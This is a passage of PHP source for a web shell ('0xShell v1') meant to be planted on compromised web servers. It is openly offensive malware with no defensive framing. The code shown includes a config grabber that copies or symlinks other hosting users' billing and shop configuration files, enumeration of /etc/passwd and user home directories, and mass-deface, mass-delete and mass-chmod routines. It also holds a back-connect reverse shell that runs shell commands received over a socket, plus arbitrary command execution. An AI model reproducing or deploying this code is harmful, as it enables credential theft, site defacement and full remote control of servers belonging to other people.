  1654. "/home/$user_cox/public_html/MY/submitticket.php" => "WHMCS",
  1655. "/home/$user_cox/public_html/My/submitticket.php" => "WHMCS",
  1656. "/home/$user_cox/public_html/my/submitticket.php" => "WHMCS",
  1657. "/home/$user_cox/public_html/secure/whm/submitticket.php" => "WHMCS",
  1658. "/home/$user_cox/public_html/secure/whmcs/submitticket.php" => "WHMCS",
  1659. "/home/$user_cox/public_html/panel/submitticket.php" => "WHMCS",
  1660. "/home/$user_cox/public_html/clientes/submitticket.php" => "WHMCS",
  1661. "/home/$user_cox/public_html/cliente/submitticket.php" => "WHMCS",
  1662. "/home/$user_cox/public_html/support/order/submitticket.php" => "WHMCS",
  1663. "/home/$user_cox/public_html/bb-config.php" => "BoxBilling",
  1664. "/home/$user_cox/public_html/boxbilling/bb-config.php" => "BoxBilling",
  1665. "/home/$user_cox/public_html/box/bb-config.php" => "BoxBilling",
  1666. "/home/$user_cox/public_html/host/bb-config.php" => "BoxBilling",
  1667. "/home/$user_cox/public_html/Host/bb-config.php" => "BoxBilling",
  1668. "/home/$user_cox/public_html/supportes/bb-config.php" => "BoxBilling",
  1669. "/home/$user_cox/public_html/support/bb-config.php" => "BoxBilling",
  1670. "/home/$user_cox/public_html/hosting/bb-config.php" => "BoxBilling",
  1671. "/home/$user_cox/public_html/cart/bb-config.php" => "BoxBilling",
  1672. "/home/$user_cox/public_html/order/bb-config.php" => "BoxBilling",
  1673. "/home/$user_cox/public_html/client/bb-config.php" => "BoxBilling",
  1674. "/home/$user_cox/public_html/clients/bb-config.php" => "BoxBilling",
  1675. "/home/$user_cox/public_html/cliente/bb-config.php" => "BoxBilling",
  1676. "/home/$user_cox/public_html/clientes/bb-config.php" => "BoxBilling",
  1677. "/home/$user_cox/public_html/billing/bb-config.php" => "BoxBilling",
  1678. "/home/$user_cox/public_html/billings/bb-config.php" => "BoxBilling",
  1679. "/home/$user_cox/public_html/my/bb-config.php" => "BoxBilling",
  1680. "/home/$user_cox/public_html/secure/bb-config.php" => "BoxBilling",
  1681. "/home/$user_cox/public_html/support/order/bb-config.php" => "BoxBilling",
  1682. "/home/$user_cox/public_html/includes/dist-configure.php" => "Zencart",
  1683. "/home/$user_cox/public_html/zencart/includes/dist-configure.php" => "Zencart",
  1684. "/home/$user_cox/public_html/products/includes/dist-configure.php" => "Zencart",
  1685. "/home/$user_cox/public_html/cart/includes/dist-configure.php" => "Zencart",
  1686. "/home/$user_cox/public_html/shop/includes/dist-configure.php" => "Zencart",
  1687. "/home/$user_cox/public_html/includes/iso4217.php" => "Hostbills",
  1688. "/home/$user_cox/public_html/hostbills/includes/iso4217.php" => "Hostbills",
  1689. "/home/$user_cox/public_html/host/includes/iso4217.php" => "Hostbills",
  1690. "/home/$user_cox/public_html/Host/includes/iso4217.php" => "Hostbills",
  1691. "/home/$user_cox/public_html/supportes/includes/iso4217.php" => "Hostbills",
  1692. "/home/$user_cox/public_html/support/includes/iso4217.php" => "Hostbills",
  1693. "/home/$user_cox/public_html/hosting/includes/iso4217.php" => "Hostbills",
  1694. "/home/$user_cox/public_html/cart/includes/iso4217.php" => "Hostbills",
  1695. "/home/$user_cox/public_html/order/includes/iso4217.php" => "Hostbills",
  1696. "/home/$user_cox/public_html/client/includes/iso4217.php" => "Hostbills",
  1697. "/home/$user_cox/public_html/clients/includes/iso4217.php" => "Hostbills",
  1698. "/home/$user_cox/public_html/cliente/includes/iso4217.php" => "Hostbills",
  1699. "/home/$user_cox/public_html/clientes/includes/iso4217.php" => "Hostbills",
  1700. "/home/$user_cox/public_html/billing/includes/iso4217.php" => "Hostbills",
  1701. "/home/$user_cox/public_html/billings/includes/iso4217.php" => "Hostbills",
  1702. "/home/$user_cox/public_html/my/includes/iso4217.php" => "Hostbills",
  1703. "/home/$user_cox/public_html/secure/includes/iso4217.php" => "Hostbills",
  1704. "/home/$user_cox/public_html/support/order/includes/iso4217.php" => "Hostbills"
  1705. );  
  1706.  
  1707. foreach($grab_config as $config => $nama_config) {
  1708.     if($_POST['tipe'] == 'grab') {
  1709. $ambil_config = file_get_contents($config);
  1710. if($ambil_config == '') {
  1711. } else {
  1712. $file_config = fopen("0xgrab/$user_cox-$nama_config.txt","w");
  1713. fputs($file_config,$ambil_config);
  1714. }
  1715. }
  1716. if($_POST['tipe'] == 'grabsym') {
  1717. @symlink($config,"0xsym/".$user_cox."-".$nama_config.".txt");
  1718. }
  1719. if($_POST['tipe'] == 'grabsym404') {
  1720. $sym404=symlink($config,"0xsym404/".$user_cox."-".$nama_config.".txt");
  1721. if($sym404){
  1722.     @mkdir("0xsym404/".$user_cox."-".$nama_config.".txt404", 0777);
  1723.     $xsym404="Options Indexes FollowSymLinks
  1724. DirectoryIndex jancox.htm
  1725. HeaderName 0x.txt
  1726. Satisfy Any
  1727. IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
  1728. IndexIgnore *
  1729. IndexStyleSheet 'https://0x1999.github.io/0xShell/style/melex.css'";
  1730.  
  1731. @file_put_contents("0xsym404/".$user_cox."-".$nama_config.".txt404/.htaccess",$xsym404);
  1732.  
  1733. @symlink($config,"0xsym404/".$user_cox."-".$nama_config.".txt404/0x.txt");
  1734.  
  1735.     }
  1736.  
  1737. }
  1738.  
  1739.                     }    
  1740.         }  if($_POST['tipe'] == 'grab') {
  1741.             echo "<center><a href='?dir=$dir/0xgrab'><font color=lime>Done</font></a></center>";
  1742.         }
  1743.     if($_POST['tipe'] == 'grabsym404') {
  1744.         echo "<center>
  1745. <a href=\"0xsym404/root/\">Root Server</a>
  1746. <br><a href=\"0xsym404/\">Configurations</a></center>";
  1747.     }
  1748.      if($_POST['tipe'] == 'grabsym') {
  1749. echo "<center>
  1750. <a href=\"0xsym/root/\">Root Server</a>
  1751. <br><a href=\"0xsym/\">Configurations</a></center>";
  1752.             }if($_POST['tipe'] == 'grabsymv') {
  1753. echo "<center>
  1754. <a href=\"0xsymv/root/\">Root Server</a>
  1755. <br><a href=\"0xsymv/\">Configurations</a></center>";
  1756.             }
  1757.        
  1758.        
  1759.         }else{
  1760.         echo "<form method=\"post\" action=\"\"><center>
  1761.        <select class=\"select\" name=\"tipe\"  style=\"width: 450px;\" height=\"10\">
  1762.        <option value=\"grab\">Config Grab</option>
  1763.        <option value=\"grabsym\">Symlink Config</option>
  1764.         <option value=\"grabsym404\">Symlink Config 404</option>
  1765.         <option value=\"grabsymv\">VHosts Symlink Config</option>
  1766.         </center></select>
  1767.         <br>\n";
  1768.         if(!$etcpasswd){
  1769.             echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1770.         for($uid=0;$uid<60000;$uid++){
  1771. $ara = posix_getpwuid($uid);
  1772. if (!empty($ara)) {
  1773. while (list ($key, $val) = each($ara)){
  1774. print "$val:";
  1775. }
  1776. print "\n";
  1777. }
  1778. }
  1779.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1780.     } else {
  1781.         echo "<textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  1782.         echo $etcpasswd;
  1783.         echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  1784.  
  1785.     }
  1786.     }
  1787.  
  1788.  
  1789. }
  1790. elseif(isset($_GET['do']) && ($_GET['do'] == 'cekjum')) {
  1791.   echo '<form method="post" action="" style="float: left;">
  1792.    Dir :
  1793.    <input size="30" name="cekjum" height="10" type="text"><input name="submit" value=">>" type="submit">
  1794.    </form><br><br>';
  1795.     if ($_POST){
  1796.       echo cekjum($_REQUEST['cekjum']);
  1797.     } else {
  1798.       echo cekjum($_GET['cekjum']);
  1799.     }
  1800. }
  1801. elseif(isset($_GET['do']) && ($_GET['do'] == 'jump')) {
  1802.     $i = 0;
  1803.     echo "<pre><div class='margin: 5px auto;'>";
  1804.     $etc = fopen("/etc/passwd", "r");
  1805.    
  1806.     while($passwd = fgets($etc)) {
  1807.         if($passwd == '' || !$etc) {
  1808.             echo "<font color=red>Can't read /etc/passwd</font>";
  1809.         } else {
  1810.  
  1811.             preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1812.             foreach($user_jumping[1] as $userjum) {
  1813.                 $userjumdir = "/home/$userjum/public_html";
  1814.                 $perm = permissions($userjumdir);
  1815.                 $perm = w($userjumdir,$perm);
  1816.  
  1817.                 if(is_readable($userjumdir)) {
  1818.                     $i++;
  1819.                     $jrw = "<a>[<font color=lime>R</font>]  [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
  1820.                     if(is_writable($userjumdir)) {
  1821.                     $jrw = "<a>[<font color=lime>RW</font>] [$perm] </a><a href='?dir=$userjumdir'><font color=gold>$userjumdir</font></a> <a href='?do=cekjum&cekjum=$userjumdir' target='_blank'>Check</a><br>";
  1822.                     }
  1823.                     echo $jrw;
  1824.                 }
  1825.             }
  1826.         }
  1827.     }
  1828.     if($i == 0) {
  1829.     } else {
  1830.         echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  1831.     }
  1832.     echo "</div></pre>";
  1833. }
  1834.     elseif(isset($_GET['do']) && ($_GET['do'] == 'mass_deface')) {
  1835.     echo "<center><form action=\"\" method=\"post\">\n";
  1836.     $dirr=$_POST['d_dir'];
  1837.     $index = $_POST["script"];
  1838.     $index = str_replace('"',"'",$index);
  1839.     $index = stripslashes($index);
  1840.     function edit_file($file,$index){
  1841.         if (is_writable($file)) {
  1842.         clear_fill($file,$index);
  1843.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  1844.         }
  1845.         else {
  1846.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  1847.             }
  1848.             }
  1849.     function hapus_massal($dir,$namafile) {
  1850.         if(is_writable($dir)) {
  1851.             $dira = scandir($dir);
  1852.             foreach($dira as $dirb) {
  1853.                 $dirc = "$dir/$dirb";
  1854.                 $lokasi = $dirc.'/'.$namafile;
  1855.                 if($dirb === '.') {
  1856.                     if(file_exists("$dir/$namafile")) {
  1857.                         unlink("$dir/$namafile");
  1858.                     }
  1859.                 } elseif($dirb === '..') {
  1860.                     if(file_exists("".dirname($dir)."/$namafile")) {
  1861.                         unlink("".dirname($dir)."/$namafile");
  1862.                     }
  1863.                 } else {
  1864.                     if(is_dir($dirc)) {
  1865.                         if(is_writable($dirc)) {
  1866.                             if(file_exists($lokasi)) {
  1867.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  1868.                                 unlink($lokasi);
  1869.                                 $idx = hapus_massal($dirc,$namafile);
  1870.                             }
  1871.                         }
  1872.                     }
  1873.                 }
  1874.             }
  1875.         }
  1876.     }
  1877.     function clear_fill($file,$index){
  1878.         if(file_exists($file)){
  1879.             $handle = fopen($file,'w');
  1880.             fwrite($handle,'');
  1881.             fwrite($handle,$index);
  1882.             fclose($handle);  } }
  1883.  
  1884.     function gass(){
  1885.         global $dirr , $index ;
  1886.         chdir($dirr);
  1887.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  1888.         $files = scandir($dirr) ;
  1889.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  1890.         sort($files);
  1891.         $n = 0 ;
  1892.         foreach ($files as $file){
  1893.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  1894.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  1895.                 edit_file($file,$index);
  1896.                 flush();
  1897.                 $n = $n +1 ;
  1898.                 }
  1899.                 }
  1900.                 echo "<br>";
  1901.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  1902.                     }
  1903.     function ListFiles($dirrall) {
  1904.  
  1905.     if($dh = opendir($dirrall)) {
  1906.  
  1907.        $files = Array();
  1908.        $inner_files = Array();
  1909.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  1910.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  1911.         while($file = readdir($dh)) {
  1912.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  1913.                 if(is_dir($dirrall . "/" . $file)) {
  1914.                     $inner_files = ListFiles($dirrall . "/" . $file);
  1915.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  1916.                 } else {
  1917.                     array_push($files, $dirrall . "/" . $file);
  1918.                 }
  1919.             }
  1920.             }
  1921.  
  1922.             closedir($dh);
  1923.             return $files;
  1924.         }
  1925.     }
  1926.     function gass_all(){
  1927.         global $index ;
  1928.         $dirrall=$_POST['d_dir'];
  1929.         foreach (ListFiles($dirrall) as $key=>$file){
  1930.             $file = str_replace('//',"/",$file);
  1931.             echo "<center><strong>$file</strong> ===>";
  1932.             edit_file($file,$index);
  1933.             flush();
  1934.         }
  1935.         $key = $key+1;
  1936.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  1937.     function chmod_all(){
  1938.         $chmod=$_POST['chmod'];
  1939.         $dirrall=$_POST['d_dir'];
  1940.         foreach (ListFiles($dirrall) as $key=>$file){
  1941.             $file = str_replace('//',"/",$file);
  1942.             echo "<center><strong>$file</strong> ===>";
  1943.             chmod($file,$chmod);
  1944.             flush();
  1945.         }
  1946.         $key = $key+1;
  1947.     echo "<center><br><h3>$key telah ngentu chmod disini</h3></center><br>"; }
  1948.     function sabun_massal($dir,$namafile,$isi_script) {
  1949.         if(is_writable($dir)) {
  1950.             $dira = scandir($dir);
  1951.             foreach($dira as $dirb) {
  1952.                 $dirc = "$dir/$dirb";
  1953.                 $lokasi = $dirc.'/'.$namafile;
  1954.                 if($dirb === '.') {
  1955.                     file_put_contents($lokasi, $isi_script);
  1956.                 } elseif($dirb === '..') {
  1957.                     file_put_contents($lokasi, $isi_script);
  1958.                 } else {
  1959.                     if(is_dir($dirc)) {
  1960.                         if(is_writable($dirc)) {
  1961.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  1962.                             file_put_contents($lokasi, $isi_script);
  1963.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  1964.                         }
  1965.                     }
  1966.                 }
  1967.             }
  1968.         }
  1969.     }
  1970.     if($_POST['mass'] == 'onedir') {
  1971.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  1972.         $ini="http://";
  1973.         $mainpath=$_POST[d_dir];
  1974.         $file=$_POST[d_file];
  1975.         $dir=opendir("$mainpath");
  1976.         $code=base64_encode($_POST[script]);
  1977.         $indx=base64_decode($code);
  1978.         while($row=readdir($dir)){
  1979.         $start=@fopen("$row/$file","w+");
  1980.         $finish=@fwrite($start,$indx);
  1981.         if ($finish){
  1982.             echo"$ini$row/$file\n";
  1983.             }
  1984.         }
  1985.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  1986.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  1987.         $dir=opendir("$mainpath");
  1988.         $code=base64_encode($_POST[script]);
  1989.         $indx=base64_decode($code);
  1990.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  1991.         $finish=@fwrite($start,$indx);
  1992.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  1993.         }
  1994.  
  1995.     }
  1996.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  1997.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  1998.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  1999.     elseif($_POST['mass'] == 'chmodkabeh') { chmod_all(); }
  2000.     elseif($_POST['mass'] == 'massdeface') {
  2001.         echo "<div style='margin: 5px auto; padding: 5px'>";
  2002.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  2003.         echo "</div>";  }
  2004.     else {
  2005.         echo "
  2006.        <center><font style='text-decoration: underline;'>
  2007.        Select Type:<br>
  2008.        </font>
  2009.        <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  2010.        <option value=\"onedir\">Mass Deface 1 Dir</option>
  2011.        <option value=\"massdeface\">Mass Deface ALL Dir</option>
  2012.        <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
  2013.        <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
  2014.        <option value=\"chmodkabeh\">Chmod Massal</option>
  2015.        <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  2016.        <font style='text-decoration: underline;'>Folder:</font><br>
  2017.        <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  2018.        <font style='text-decoration: underline;'>Filename:</font><br>
  2019.        <input type='text' name='d_file' value='0x.php' style='width: 450px;' height='10'><br>
  2020.        <font style='text-decoration: underline;'>Index File:</font><br>
  2021.        <textarea name='script' style='width: 450px; height: 200px;'>Hacked By 0x1999</textarea><br>
  2022.        <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  2023.        </form></center>";
  2024.         }
  2025.     }
  2026. elseif(isset($_GET['do']) && ($_GET['do'] == 'bc')){   
  2027.     echo '
  2028.  <div id="back">
  2029.            <h2>Back Connect</h2>
  2030.            <p>Back connect will allow you to enter system commands remotely.</p>
  2031.            <p>
  2032.            <table>
  2033.                 <form action="" method="post">
  2034.                 <tr ><td>IP Address: </td><td><input type="textbox" name="ip" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2035.                 <tr ><td>Port: </td><td><input type="textbox" name="port" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2036.                 <tr ><td><input type="submit" name="bind" value="Open Connection" style="border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;"></td></tr>
  2037.                 </form>
  2038.                 </table>';
  2039.         if(isset($_POST['bind']))
  2040.                     {
  2041.             echo "<p>Attempting Connection...</p>";
  2042.             $ip = $_POST['ip'];
  2043.             $port = $_POST['port'];
  2044.             $sockfd = fsockopen($ip , $port , $errno, $errstr );
  2045.             if($errno != 0){
  2046.               echo "<font color='red'>$errno : $errstr</font>";
  2047.             } else if (!$sockfd)  {
  2048.               $result = "<p>Unexpected error has occured, connection may have failed.</p>";
  2049.             } else {
  2050.               fputs ($sockfd ,"
  2051.                \n{################################################################}
  2052.                \n..:: 0xShell v1 - Coded By 0x1999 ::..
  2053.                \n
  2054.                \n=> Backconnect
  2055.                \n=> Back
  2056.                \n
  2057.                \n{################################################################}\n\n");
  2058.               $dir = shell_exec("pwd");
  2059.               $sysinfo = shell_exec("uname -a");
  2060.               $time = Shell_exec("time");
  2061.               $len = 1337;
  2062.               fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\n\n");
  2063.               while(!feof($sockfd)){ $cmdPrompt = '[0x]#:> ';
  2064.               fputs ($sockfd , $cmdPrompt );
  2065.               $command= fgets($sockfd, $len);
  2066.               fputs($sockfd , "\n" . shell_exec($command) . "\n\n");
  2067.             }
  2068.             fclose($sockfd);
  2069.             }
  2070.           }
  2071.         echo "</p></div>";
  2072.  
  2073. }elseif(isset($_GET['act']) && ($_GET['act'] == 'edit')) {
  2074.  
  2075.         if(isset($_POST['save'])){
  2076.             $file = $_POST['saveas'];
  2077.             $content = magicboom($_POST['content']);
  2078.             if($filez = @fopen($file,"w")){
  2079.                 $time = date("d-M-Y H:i",time());
  2080.                 if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  2081.                 else $msg = "failed to save";
  2082.                 @fclose($filez);
  2083.             }
  2084.             else $msg = "permission denied";
  2085.         }
  2086.         if(!isset($file)) $file = $_GET['file'];
  2087.         if($filez = @fopen($file,"r")){
  2088.             $content = "";
  2089.             while(!feof($filez)){
  2090.                 $content .= htmlentities(str_replace("''","'",fgets($filez)));
  2091.             }
  2092.             @fclose($filez);
  2093.         }
  2094.     ?>
  2095.         <form action="" method="post">
  2096.             <table class="cmdbox">
  2097.                 <tr>
  2098.                     <td colspan="2">
  2099.                         <textarea class="output" name="content">
  2100. <?php echo $content; ?>
  2101. </textarea>
  2102.                         <tr>
  2103.                             <td colspan="2">Save as <input id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;
  2104.                                 <?php echo $msg; ?>
  2105.                             </td>
  2106.                         </tr>
  2107.             </table>
  2108.         </form>
  2109.         <?php
  2110. }
  2111. elseif(isset($_GET['do']) && ($_GET['do'] == 'serverinfo')){
  2112.    
  2113.   $s_safemode = ini_get("safe_mode");
  2114.   if($s_safemode = TRUE){$s_safemode = "<span class='enabled'>[ON";}else{$s_safemode = "<span class='disabled'>[OFF"; }
  2115.   if(extension_loaded('curl')){$curls="<span class='enabled'>[ON]</span>";}else{$curls="<span class='disabled'>[OFF]</span>";}
  2116.     echo "Server Port: ".$_SERVER['SERVER_PORT']."<br /><br />HTTP Connection: ".$_SERVER['HTTP_CONNECTION']."<br /><br />Operating System: ".php_uname()."<br /><br />";
  2117.     if(get_magic_quotes_gpc()){echo "Magic Quotes: <span class='enabled'>[ENABLED]</span><br /><br />";}else{echo "Magic Quotes: <span class='disabled'>[DISABLED]</span><br /><br />";}
  2118.     echo "PHP Version: ".phpversion()."<br /><br />Safe Mode: ".$s_safemode."]</span><br /><br />Curl: ".$curls."<br /><br />Accept Encoding:  ".$_SERVER['HTTP_ACCEPT_ENCODING']."<br /><br />Admin: ".$_SERVER['SERVER_ADMIN']."<br /><br /><strong>Disabled Functions: </strong>";
  2119.     if(!empty($disabled)){
  2120.     foreach($disabled as $functionsdis){
  2121.         echo $functionsdis.", ";
  2122.     }
  2123.     }else{
  2124.         echo "none";
  2125.     }
  2126.     echo "<br /><br /><strong>/etc/passwd: </strong>";
  2127.     if(is_readable("/home/etc/passwd")){
  2128.         echo "<span style='color:green;'>Readable</span>";
  2129.     }else{
  2130.         echo "<span style='color:red;'>Unreadable</span>";
  2131.     }
  2132. }elseif(isset($_GET['do']) && ($_GET['do'] == 'cmd')) {
  2133.     if($_POST['do_cmd']) {
  2134.         echo "<textarea class='area' rows='15' cols='60'>".exe($_POST['cmd'])."</textarea>";
  2135.     }
  2136. }elseif(isset($_GET['do']) && ($_GET['do'] == 'about')){
  2137.    
  2138.     echo "
  2139.         <h4>Information</h4>
  2140.         <p>$shell_name v$shell_version Ngelu Edition - coded by 0x1999.</p>";
  2141.  
  2142.         ?>
  2143.             <ul>
  2144.                 <li>Appearance C6 Shell.</li>
  2145.                 <li>File Manager By IndoXploit.</li>
  2146.                 <li>Thanks.</li>
  2147.             </ul>
  2148.             <br /><br />
  2149.             <?php
  2150. }else{
  2151. function GetFileSize($file){
  2152.     if(!is_dir($file))
  2153.         return round(filesize($file) / 1024, 2) . " Kb";
  2154.     else
  2155.         return "Not Availible";
  2156. }
  2157.  
  2158. function LastModified($file){
  2159.         return date("F d Y g:i:s", filemtime("$file"));}
  2160.  
  2161. ////////////
  2162.  
  2163.     if(is_dir($dir) == true) {
  2164.         echo '<table  cellspacing="0" cellpadding="0"><tr><td class="TableHeader_Name"> FileName</td><td class="TableHeader">Filetype</a></td><td class="TableHeader">Size</td><td class="TableHeader">Permisions</td><td class="TableLast">Last Modified</td><td class="TableHeaderoptions"> Options</td></tr>';
  2165.         $scandir = scandir($dir);
  2166.         foreach($scandir as $dirx) {
  2167.             $dtype = @filetype("$dir/$dirx");
  2168.             $dtime = date("F d Y g:i:s", @filemtime("$dir/$dirx"));
  2169.             if(!is_dir("$dir/$dirx")) continue;
  2170.             if($dirx === '..') {
  2171.                 $href = dirname($dir);
  2172.             } elseif($dirx === '.') {
  2173.                 $href = $dir;
  2174.             } else {
  2175.                 $href = $dir.'/'.$dirx;
  2176.             }
  2177.             if($dirx == '.') {
  2178.                 $act_dir = "<span id=\"titik1\">
  2179.             <a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  2180.             <form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2181.  
  2182.             <input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
  2183.             <input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
  2184.             </form>";
  2185.                 }
  2186.                 elseif($dirx == '..')
  2187.                 {
  2188.                     $act_dir="<span id=\"titik2\"><a href='?act=edit&dir=$dir&file=$dir/newfile.php'>newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  2189.             <form action=\"?act=newfolder&dir=$dir\" method=\"post\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2190.            
  2191.             <input class=\"inputz\" style=\"width:130px;\" type=\"text\" name=\"newfolder\" placeholder=\"new_folder\" />
  2192.             <input class=\"inputzbut\" type=\"submit\" name=\"new_save_folder\" style=\"width:35px;\" value=\"Go !\" />
  2193.             </form>";
  2194.                 }
  2195.                 else {
  2196.                 $act_dir = "<a href=\"javascript:tukar('".clearspace($dirx)."_link','".clearspace($dirx)."_form');\">rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
  2197.             }
  2198.             echo "<tr class='filetr'>";
  2199.             echo "<td class='td_home'><a id=\"".clearspace($dirx)."_link\"  href='?dir=".$href."'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAFUSURBVDiNpZK9SgNBFIXPvXNndjcRopX4U4kWVr5AChU7H8BSfItAHkB9CXsrW0GwEQtRwVKMRtAU8ZcYWaNmM2OxqyyiYZdcGIaZ4Z77MeeQcw6DFA/UDUAAYHHj8hOATj9oRSe2Z1f2KjP1fgLknMPS5lW0Vi4pZopvHXDW+IhOr99gXTzkr9qvTBMtrNd8AsLVcomZKDP61kELihGIJ9QBgO2jdsIE/Jb5OacGFAwDQEeMEOZnh1EqMChtSB8a64BW2MNh7QVihCGKcNHswmZ0lAkYHxF4QhBPCKIYRU9l605KmGCEIUYztCYMBfkEjGZ4OiHwRQF+vkQG+ptACIFREJVPQAvFf+BrjoyQ+CZfqq118DRFEhjebbbel6dGiyTqf+vSrkaRQ/0utL7mHXl9vq+eP3Unbh/H5gDKiOF67YebY0dSJcRBm0z2rFl2yWp8AVDIW32da7pLAAAAAElFTkSuQmCC'>  $dirx</a>
  2200.  
  2201.  
  2202.  
  2203. <form method=\"post\" id=\"".clearspace($dirx)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2204.             <input type=\"hidden\" name=\"oldname\" value=\"".$dirx."\" style=\"margin:0;padding:0;\" />
  2205.             <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"fol_rename\" value=\"".$dirx."\" />
  2206.             <input class=\"inputzbut\" type=\"submit\" name=\"dir_rename\" value=\"rename\" />
  2207.             <input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($dirx)."_form','".clearspace($dirx)."_link');\" />
  2208.             </form>
  2209.  
  2210.  
  2211.  
  2212.  
  2213.             </td>
  2214.            
  2215.            
  2216.            
  2217.             ";
  2218.             echo "<td class='td_home'><center>$dtype</center></td>";
  2219.             echo "<td class='td_home'><center>-</center></th>";
  2220.             echo "<td class='td_home'><center>".w("$dir/$dirx",permissions("$dir/$dirx"))."</center></td>";
  2221.             echo "<td class='td_home'>$dtime</td>";
  2222.             echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
  2223.         }
  2224.         echo "</tr>";
  2225.         foreach($scandir as $file) {
  2226.             $ftype = filetype("$dir/$file");
  2227.             $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
  2228.             $size = filesize("$dir/$file")/1024;
  2229.             $size = round($size,3);
  2230.             if($size > 1024) {
  2231.                 $size = round($size/1024,2). 'MB';
  2232.             } else {
  2233.                 $size = $size. 'KB';
  2234.             }
  2235.             if(!is_file("$dir/$file")) continue;
  2236.             echo "<tr class='filetr'>";
  2237.             echo "<td class='td_home'>
  2238.            
  2239.            
  2240.            
